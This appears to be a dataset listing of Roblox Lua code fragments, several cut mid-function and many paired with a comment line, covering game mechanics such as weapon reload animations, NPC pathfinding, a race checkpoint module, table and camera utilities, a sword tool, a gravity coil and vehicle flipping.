wait(0.3)
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.5,0.475,-1.6) * CFrame.Angles(math.rad(-100),math.rad(0),math.rad(7.5))}):Play()
objs[5].Handle:WaitForChild("MagIn"):Play()
MagC:Destroy()
objs[5].Mag.Transparency = 0
wait(0.3)
end;
ShellInsertAnim = function(char, speed, objs)
ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-0.975, -0.365, -1.2) * CFrame.Angles(math.rad(-115), math.rad(-2), math.rad(9))}):Play()
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(1.55,-0.4,-1.15) * CFrame.Angles(math.rad(-100),math.rad(70),math.rad(-41))}):Play()
wait(0.3)
objs[5].Handle:WaitForChild("ShellInsert"):Play()
ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-0.975, -0.365, -1.2) * CFrame.Angles(math.rad(-110), math.rad(-2), math.rad(9))}):Play()
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(1.6,-0.3,-1.1) * CFrame.Angles(math.rad(-100),math.rad(70),math.rad(-41))}):Play()
objs[6].Value = objs[6].Value - 1
objs[7].Value = objs[7].Value + 1
wait(0.3)
end;
ReloadAnim = function(char, speed, objs)
ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-0.875, 0, -1.15) * CFrame.Angles(math.rad(-95), math.rad(-2), math.rad(7.5))}):Play()
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(1.195,1.4,-0.5) * CFrame.Angles(math.rad(0),math.rad(25),math.rad(0))}):Play()
wait(0.3)
ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-0.875, 0, -1.35) * CFrame.Angles(math.rad(-100), math.rad(-2), math.rad(7.5))}):Play()
wait(0.15)
local MagZ = objs[5]:WaitForChild("Mag"):clone()
objs[5].Mag.Transparency = 1
MagZ.Parent = objs[5]
MagZ.Mag:Destroy()
MagZ.Name = "MagZ"
MagZ.Transparency = 0
MagZ.Anchored = false
MagZ.CanCollide = false
game.Debris:AddItem(MagZ, 5)
objs[5].Handle:WaitForChild("MagOut"):Play()
wait(0.5)
local MagC = objs[5]:WaitForChild("Mag"):clone()
MagC.Parent = objs[5]
MagC.Name = "MagC"
MagC.Transparency = 0
local MagCW = Instance.new("Motor6D")
MagCW.Part0 = MagC
MagCW.Part1 = objs[3].Parent.Parent:WaitForChild("Left Arm")
MagCW.Parent = MagC
MagCW.C1 = MagC.CFrame:toObjectSpace(objs[3].Parent.Parent:WaitForChild("Left Arm").CFrame)
ts:Create(MagCW,TweenInfo.new(0),{C0 = CFrame.new(-0.2, 0.5, -0.75) * CFrame.Angles(math.rad(-90), math.rad(0), math.rad(0))}):Play()
ts:Create(objs[2],TweenInfo.new(0.3),{C1 = CFrame.new(-0.875, 0, -1.15) * CFrame.Angles(math.rad(-95), math.rad(-2), math.rad(7.5))}):Play()
ts:Create(objs[3],TweenInfo.new(0.3),{C1 = CFrame.new(-0.5,0.475,-1.6) * CFrame.Angles(math.rad(-100),math.rad(0),math.rad(7.5))}):Play()
wait(0.3)
ts:Create(objs[2],TweenInfo.new(0.1),{C1 = CFrame.new(-0.875, 0, -1.125) * CFrame.Angles(math.rad(-95), math.rad(-2), math.rad(7.5))}):Play()
objs[5].Handle:WaitForChild("MagIn"):Play()
MagC:Destroy()
objs[5].Mag.Transparency = 0
if (objs[6].Value - (objs[8].Ammo - objs[7].Value)) < 0 then
objs[7].Value = objs[7].Value + objs[6].Value
objs[6].Value = 0
--Evt.Recarregar:FireServer(objs[5].Value)
elseif objs[7].Value <= 0 then
objs[6].Value = objs[6].Value - (objs[8].Ammo - objs[7].Value)
--Evt.Recarregar:FireServer(objs[5].Value)
objs[7].Value = objs[8].Ammo
objs[9] = false
elseif objs[7].Value > 0 and objs[9] and objs[8].IncludeChamberedBullet then
objs[6].Value = objs[6].Value - (objs[8].Ammo - objs[7].Value) - 1
--objs[10].Recarregar:FireServer(objs[6].Value)
objs[7].Value = objs[8].Ammo + 1
elseif objs[7].Value > 0 and objs[9] and not objs[8].IncludeChamberedBullet then
objs[6].Value = objs[6].Value - (objs[8].Ammo - objs[7].Value)
--Evt.Recarregar:FireServer(objs[5].Value)
objs[7].Value = objs[8].Ammo
end
wait(0.55)
end;
|
-- 1 - Look Right or Go left
|
if Logic == 1 then
if Distance >= 1 then
if ClimbingLadder == false then -- or target.Position.y < torsoPos.y + 4 then
TurnRight()
end -- else go straight or go up
else
TurnLeft()
end
if FireRayAhead() then -- Check straight first. (And Diagonaly left)
TurnLeft()
if FireRay() then -- Check left (And Diagonaly left & back)
TurnLeft()
if FireRay() then
TurnLeft()
if FireRay() then
targpos = torsoPos + Vector3.new(Xdir,0,Zdir)
hum.Jump = true
end -- right
end -- Back
end -- Left
else -- If succesful Ahead then... (We only check RightTurns for a get-out-of-jail-Free card)
if Xdir == OldX and OldZ == Zdir then -- Gracefully exiting Logic 1
Logic = 0
end -- check Goal dir?
end -- Ahead
end -- Logic 1
|
-- ================================================================================
-- PUBLIC FUNCTIONS
-- ================================================================================
|
function RaceModule:SetRacers(racerList)
for i = 1, #racerList do
addRacer(racerList[i])
end
end -- RaceModule:SetRacers()
function RaceModule:RegisterCheckpoint(checkpoint)
if not checkpoints[checkpoint] then
local newCheckpoint = Checkpoint.new(checkpoint, RaceModule)
numCheckpoints = numCheckpoints + 1
checkpoints[checkpoint] = newCheckpoint
end
end -- RaceModule:RegisterCheckpoint()
function RaceModule:PlayerCrossedCheckpoint(player, checkpoint)
local racer = racers[player]
if not racer or racer.FinishedRace then return end
local currentLap = racer.CurrentLap
CheckpointEvent:FireClient(player, {{"checkpointHit", checkpoint.CollisionBody}})
if not racer:HasStartedLap(currentLap) then
racer:StartLap(currentLap)
onLapStartedEvent:Fire(player, currentLap)
end
if racer:HasStartedLap(currentLap) then
local alreadyPassed = checkpoint:SetPlayerPassed(player, currentLap)
if not alreadyPassed then
onCheckpointPassedEvent:Fire(checkpoint.CollisionBody)
end
end
if hasPlayerFinishedLap(player, currentLap) then
local lapTime = racer:FinishLap(currentLap)
onLapFinishedEvent:Fire(player, currentLap, lapTime)
if currentLap == numLaps then
if not winner then
winner = player
end
racer.FinishedRace = true
onRaceFinishedEvent:Fire(winner)
else
wait() -- Let the last checkpoint temporarily change to hit color
CheckpointEvent:FireClient(player, {{"newLap"}})
racer.CurrentLap = racer.CurrentLap + 1
end
end
end -- RaceModule:PlayerCrossedCheckpoint()
function RaceModule:Start(activePlayers)
if debugEnabled then print("RACEMODULE: Starting race") end
winner = nil
assert(numCheckpoints > 0, "No checkpoints registered")
assert(startCheckpoint, "Start Checkpoint not set")
assert(finishCheckpoint, "Finish Checkpoint not set")
if debugEnabled then print("RACEMODULE: Checking if players set") end
if #racers == 0 then
RaceModule:SetRacers(activePlayers)
end
for _, checkpoint in pairs(checkpoints) do
checkpoint:Reset()
end
onRaceStartedEvent:Fire()
local raceOver = false
local finishedConnection
finishedConnection = RaceModule.RaceFinished:connect(function()
raceOver = true
racers = {}
finishedConnection:disconnect()
end)
spawn(function()
wait(raceDuration)
if not raceOver then
onRaceFinishedEvent:Fire(winner)
end
end)
end -- RaceModule:Start()
|
--[=[
@within TableUtil
@function Sample
@param tbl table
@param sampleSize number
@param rngOverride Random?
@return table
Returns a random sample of the table.
```lua
local t = {1, 2, 3, 4, 5, 6, 7, 8, 9}
local sample = TableUtil.Sample(t, 3)
print(sample) --> e.g. {6, 2, 5}
```
:::note Arrays only
This function works on arrays, but not dictionaries.
]=]
|
local function Sample<T>(tbl: { T }, size: number, rngOverride: Random?): { T }
assert(type(tbl) == "table", "First argument must be a table")
assert(type(size) == "number", "Second argument must be a number")
local shuffled = table.clone(tbl)
local sample = table.create(size)
local random = if typeof(rngOverride) == "Random" then rngOverride else rng
local len = #tbl
size = math.clamp(size, 1, len)
for i = 1, size do
local j = random:NextInteger(i, len)
shuffled[i], shuffled[j] = shuffled[j], shuffled[i]
end
table.move(shuffled, 1, size, 1, sample)
return sample
end
|
-- This function converts 4 different, redundant enumeration types to one standard so the values can be compared
|
function CameraUtils.ConvertCameraModeEnumToStandard( enumValue )
if enumValue == Enum.TouchCameraMovementMode.Default then
return Enum.ComputerCameraMovementMode.Follow
end
if enumValue == Enum.ComputerCameraMovementMode.Default then
return Enum.ComputerCameraMovementMode.Classic
end
if enumValue == Enum.TouchCameraMovementMode.Classic or
enumValue == Enum.DevTouchCameraMovementMode.Classic or
enumValue == Enum.DevComputerCameraMovementMode.Classic or
enumValue == Enum.ComputerCameraMovementMode.Classic then
return Enum.ComputerCameraMovementMode.Classic
end
if enumValue == Enum.TouchCameraMovementMode.Follow or
enumValue == Enum.DevTouchCameraMovementMode.Follow or
enumValue == Enum.DevComputerCameraMovementMode.Follow or
enumValue == Enum.ComputerCameraMovementMode.Follow then
return Enum.ComputerCameraMovementMode.Follow
end
if enumValue == Enum.TouchCameraMovementMode.Orbital or
enumValue == Enum.DevTouchCameraMovementMode.Orbital or
enumValue == Enum.DevComputerCameraMovementMode.Orbital or
enumValue == Enum.ComputerCameraMovementMode.Orbital then
return Enum.ComputerCameraMovementMode.Orbital
end
-- Note: Only the Dev versions of the Enums have UserChoice as an option
if enumValue == Enum.DevTouchCameraMovementMode.UserChoice or
enumValue == Enum.DevComputerCameraMovementMode.UserChoice then
return Enum.DevComputerCameraMovementMode.UserChoice
end
-- For any unmapped options return Classic camera
return Enum.ComputerCameraMovementMode.Classic
end
return CameraUtils
|
-- Returns topmost ancestor in hierarchy descending from points folder
|
local function getTopAncestor(part)
local prevParent = part
local parent = part.Parent
while not parent:IsA("Folder") do
prevParent = parent
parent = parent.Parent
end
return prevParent
end
local function getPositionRelativetoBase(part, pos)
local basePlate = workspace:FindFirstChild("Baseplate")
local basePosition = basePlate:GetChildren()[1].Position
local baseSize = basePlate:GetChildren()[1].Size
local posY = pos.Y
local basePosY = basePosition.Y
local baseSizeY = baseSize.Y
return Vector3.new(pos.X, (basePosY + baseSizeY/2) + part.Size.Y/2, pos.Z)
end
local function breakModel(model)
local children = model:GetChildren()
for i,child in pairs(children) do
-- Make part/model non-collidable
if child:IsA("Model") then
breakModel(child)
elseif child:IsA("Part") then
child.CanCollide = false
end
end
end
|
-- ndAnim:Play()
|
--wait(2)
--end
hum.Sit = false
if newBAV ~= nil then newBAV:remove() end
if newBP ~= nil then newBP:remove() end
if newBV ~= nil then newBV:remove() end
if newBG ~= nil then newBG.cframe = CFrame.new(torsoPosition, target*Vector3.new(1,0,1) + Vector3.new(0, torsoPosition.Y, 0) ) end
if newBG ~= nil then newBG.maxTorque = Vector3.new(newBG.P, newBG.P, newBG.P) end
spinSound:Stop()
wait(.25)
if newBG ~= nil then newBG:remove() end
end
local lastKeyDown = 0
local dashTime = 0
local lastSlash = 0
local amAnimating = false
function onActivated()
vChar = Tool.Parent
if vChar == nil then return end
hum = vChar:FindFirstChild("Humanoid")
if hum == nil then return end
--if not Tool.Enabled then return end
if amAnimating then return end
Tool.Enabled = false
amAnimating = true
torso = vChar:FindFirstChild("Torso")
if torso == nil then Tool.Enabled = true return end
t = r.Stepped:wait()
if t - dashTime < .2 then
-- dash attack
dashIt(hum, torso)
wait(.5) -- reload time
amAnimating = false
elseif t - lastSlash < .2 then
-- slash attack
slashIt(hum, torso)
--wait(1)
amAnimating = false
--wait(.5) -- reload time
else
-- normal attack
whackSound:Play()
lastSlash = t
amAnimating = false -- here must be before the wait, to allow for double-clix
wait(.5)
end
if not amAnimating then Tool.Enabled = true end
end
local keyConnection = nil
function onKeyDown(key)
if key:lower() == "w" then
t = r.Stepped:wait()
if (t - lastKeyDown < .2) then dashTime = t end
lastKeyDown = t
end
end
function onEquippedLocal(mouse)
slashSound.Volume = 1
spinSound.Volume = 1
whackSound.Volume = 1
keyConnection = mouse.KeyDown:connect(onKeyDown)
end
function onUnequippedLocal()
if keyConnection ~= nil then keyConnection:disconnect() end
if newBV ~= nil then newBV:remove() end
if newBG ~= nil then newBG:remove() end
if newBAV ~= nil then newBAV:remove() end
if newBP ~= nil then newBP:remove() end
slashSound.Volume = 0
spinSound.Volume = 0
whackSound.Volume = 0
end
Tool.Equipped:connect(onEquippedLocal)
Tool.Unequipped:connect(onUnequippedLocal)
Tool.Activated:connect(onActivated)
|
--// Services
|
local L_109_ = game:GetService('RunService').RenderStepped
local L_110_ = game:GetService('UserInputService')
|
-- local Defaults = GuiLib:WaitForChild("Defaults")
|
local UIS = game:GetService("UserInputService")
local RUNSERVICE = game:GetService("RunService")
|
-- // Main loop
|
for key, object in pairs(script:GetDescendants()) do
if not object:IsA("Folder") then
table.insert(assets, object)
end
end
|
--The ignore list will fill up over time. This is how many seconds it will go before
--being refreshed in order to keep it from filling up with instances that aren't in
--the datamodel anymore.
|
local IGNORE_LIST_LIFETIME = 5
local MAX_BULLET_TIME = 10
local localRandom = Random.new()
local localPlayer = not IsServer and Players.LocalPlayer
local BulletWeapon = {}
BulletWeapon.__index = BulletWeapon
setmetatable(BulletWeapon, BaseWeapon)
BulletWeapon.CanAimDownSights = true
BulletWeapon.CanBeFired = true
BulletWeapon.CanBeReloaded = true
BulletWeapon.CanHit = true
function BulletWeapon.new(weaponsSystem, instance)
local self = BaseWeapon.new(weaponsSystem, instance)
setmetatable(self, BulletWeapon)
self.usesCharging = false
self.charge = 0
self.chargeSoundPitchMin = 0.5
self.chargeSoundPitchMax = 1
self.triggerDisconnected = false
self.startupFinished = false -- TODO: make startup time use a configuration value
self.burstFiring = false
self.burstIdx = 0
self.nextFireTime = 0
self.recoilIntensity = 0
self.aimPoint = Vector3.new()
self:addOptionalDescendant("tipAttach", "TipAttachment")
self:addOptionalDescendant("boltMotor", "BoltMotor")
self:addOptionalDescendant("boltMotorStart", "BoltMotorStart")
self:addOptionalDescendant("boltMotorTarget", "BoltMotorTarget")
self:addOptionalDescendant("chargeGlowPart", "ChargeGlow")
self:addOptionalDescendant("chargeCompleteParticles", "ChargeCompleteParticles")
self:addOptionalDescendant("dischargeCompleteParticles", "DischargeCompleteParticles")
self:addOptionalDescendant("muzzleFlash0", "MuzzleFlash0")
self:addOptionalDescendant("muzzleFlash1", "MuzzleFlash1")
self:addOptionalDescendant("muzzleFlashBeam", "MuzzleFlash")
self.hitMarkTemplate = HitMarksFolder:FindFirstChild(self:getConfigValue("HitMarkEffect", "BulletHole"))
self.casingTemplate = CasingsFolder:FindFirstChild(self:getConfigValue("CasingEffect", ""))
self:addOptionalDescendant("casingEjectPoint", "CasingEjectPoint")
self.ignoreList = {}
self.ignoreListRefreshTime = 0
self:addOptionalDescendant("handAttach", "LeftHandAttachment")
self.handAlignPos = nil
self.handAlignRot = nil
self.chargingParticles = {}
self.instance.DescendantAdded:Connect(function(descendant)
if descendant.Name == "ChargingParticles" and descendant:IsA("ParticleEmitter") then
table.insert(self.chargingParticles, descendant)
end
end)
for _, v in pairs(self.instance:GetDescendants()) do
if v.Name == "ChargingParticles" and v:IsA("ParticleEmitter") then
table.insert(self.chargingParticles, v)
end
end
self:doInitialSetup()
return self
end
function BulletWeapon:onEquippedChanged()
BaseWeapon.onEquippedChanged(self)
if not IsServer then
if self.weaponsSystem.camera then
if self.equipped then
self.startupFinished = false
end
end
if self.equipped then
ContextActionService:BindAction("ReloadWeapon", function(...) self:onReloadAction(...) end, false, Enum.KeyCode.R, Enum.KeyCode.ButtonX)
else
ContextActionService:UnbindAction("ReloadWeapon")
-- Stop charging/discharging sounds
local chargingSound = self:getSound("Charging")
local dischargingSound = self:getSound("Discharging")
if chargingSound and chargingSound.Playing then
chargingSound:Stop()
end
if dischargingSound and dischargingSound.Playing then
dischargingSound:Stop()
end
end
self.triggerDisconnected = false
end
end
function BulletWeapon:onReloadAction(actionName, inputState, inputObj)
if inputState == Enum.UserInputState.Begin and not self.reloading then
self:reload()
end
end
function BulletWeapon:animateBoltAction(isOpen)
if not self.boltMotor or not self.boltMotorStart or not self.boltMotorTarget then
return
end
if isOpen then
self:tryPlaySound("BoltOpenSound")
else
self:tryPlaySound("BoltCloseSound")
end
local actionMoveTime = isOpen and self:getConfigValue("ActionOpenTime", 0.025) or self:getConfigValue("ActionCloseTime", 0.075)
local targetCFrame = isOpen and self.boltMotorTarget.CFrame or self.boltMotorStart.CFrame
local boltTween = TweenService:Create(self.boltMotor, TweenInfo.new(actionMoveTime, Enum.EasingStyle.Quad, Enum.EasingDirection.InOut), { C0 = targetCFrame })
boltTween:Play()
boltTween.Completed:Wait()
end
function BulletWeapon:getRandomSeedForId(id)
return id
end
|
--model by CatLeoYT script--
|
Tool = script.Parent
Handle = Tool:WaitForChild("Handle")
Players = game:GetService("Players")
Sounds = {
CoilSound = Handle:WaitForChild("CoilSound"),
}
Gravity = 196.20
JumpHeightPercentage = 0.4
ToolEquipped = false
function GetAllConnectedParts(Object)
local Parts = {}
local function GetConnectedParts(Object)
for i, v in pairs(Object:GetConnectedParts()) do
local Ignore = false
for ii, vv in pairs(Parts) do
if v == vv then
Ignore = true
end
end
if not Ignore then
table.insert(Parts, v)
GetConnectedParts(v)
end
end
end
GetConnectedParts(Object)
return Parts
end
function SetGravityEffect()
if not GravityEffect or not GravityEffect.Parent then
GravityEffect = Instance.new("BodyForce")
GravityEffect.Name = "GravityCoilEffect"
GravityEffect.Parent = Torso
end
local TotalMass = 0
local ConnectedParts = GetAllConnectedParts(Torso)
for i, v in pairs(ConnectedParts) do
if v:IsA("BasePart") then
TotalMass = (TotalMass + v:GetMass())
end
end
local TotalMass = (TotalMass * 196.20 * (1 - JumpHeightPercentage))
GravityEffect.force = Vector3.new(0, TotalMass, 0)
end
function HandleGravityEffect(Enabled)
if not CheckIfAlive() then
return
end
for i, v in pairs(Torso:GetChildren()) do
if v:IsA("BodyForce") then
v:Destroy()
end
end
for i, v in pairs({ToolUnequipped, DescendantAdded, DescendantRemoving}) do
if v then
v:disconnect()
end
end
if Enabled then
CurrentlyEquipped = true
ToolUnequipped = Tool.Unequipped:connect(function()
CurrentlyEquipped = false
end)
SetGravityEffect()
DescendantAdded = Character.DescendantAdded:connect(function()
wait()
if not CurrentlyEquipped or not CheckIfAlive() then
return
end
SetGravityEffect()
end)
DescendantRemoving = Character.DescendantRemoving:connect(function()
wait()
if not CurrentlyEquipped or not CheckIfAlive() then
return
end
SetGravityEffect()
end)
end
end
function CheckIfAlive()
return (((Character and Character.Parent and Humanoid and Humanoid.Parent and Humanoid.Health > 0 and Torso and Torso.Parent and Player and Player.Parent) and true) or false)
end
function Equipped(Mouse)
Character = Tool.Parent
Humanoid = Character:FindFirstChild("Humanoid")
Torso = Character:FindFirstChild("Torso") or Character:FindFirstChild("UpperTorso")
Player = Players:GetPlayerFromCharacter(Character)
if not CheckIfAlive() then
return
end
if HumanoidDied then
HumanoidDied:disconnect()
end
HumanoidDied = Humanoid.Died:connect(function()
if GravityEffect and GravityEffect.Parent then
GravityEffect:Destroy()
end
end)
Sounds.CoilSound:Play()
HandleGravityEffect(true)
ToolEquipped = true
end
function Unequipped()
if HumanoidDied then
HumanoidDied:disconnect()
end
HandleGravityEffect(false)
ToolEquipped = false
end
Tool.Equipped:connect(Equipped)
Tool.Unequipped:connect(Unequipped)
|
--[[Flip]]
|
function Flip()
--Detect Orientation
if (car.DriveSeat.CFrame*CFrame.Angles(math.pi/2,0,0)).lookVector.y > .1 or FlipDB then
FlipWait=tick()
--Apply Flip
else
if tick()-FlipWait>=3 then
FlipDB=true
local gyro = car.DriveSeat.Flip
gyro.maxTorque = Vector3.new(10000,0,10000)
gyro.P=3000
gyro.D=500
wait(1)
gyro.maxTorque = Vector3.new(0,0,0)
gyro.P=0
gyro.D=0
FlipDB=false
end
end
end
|
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.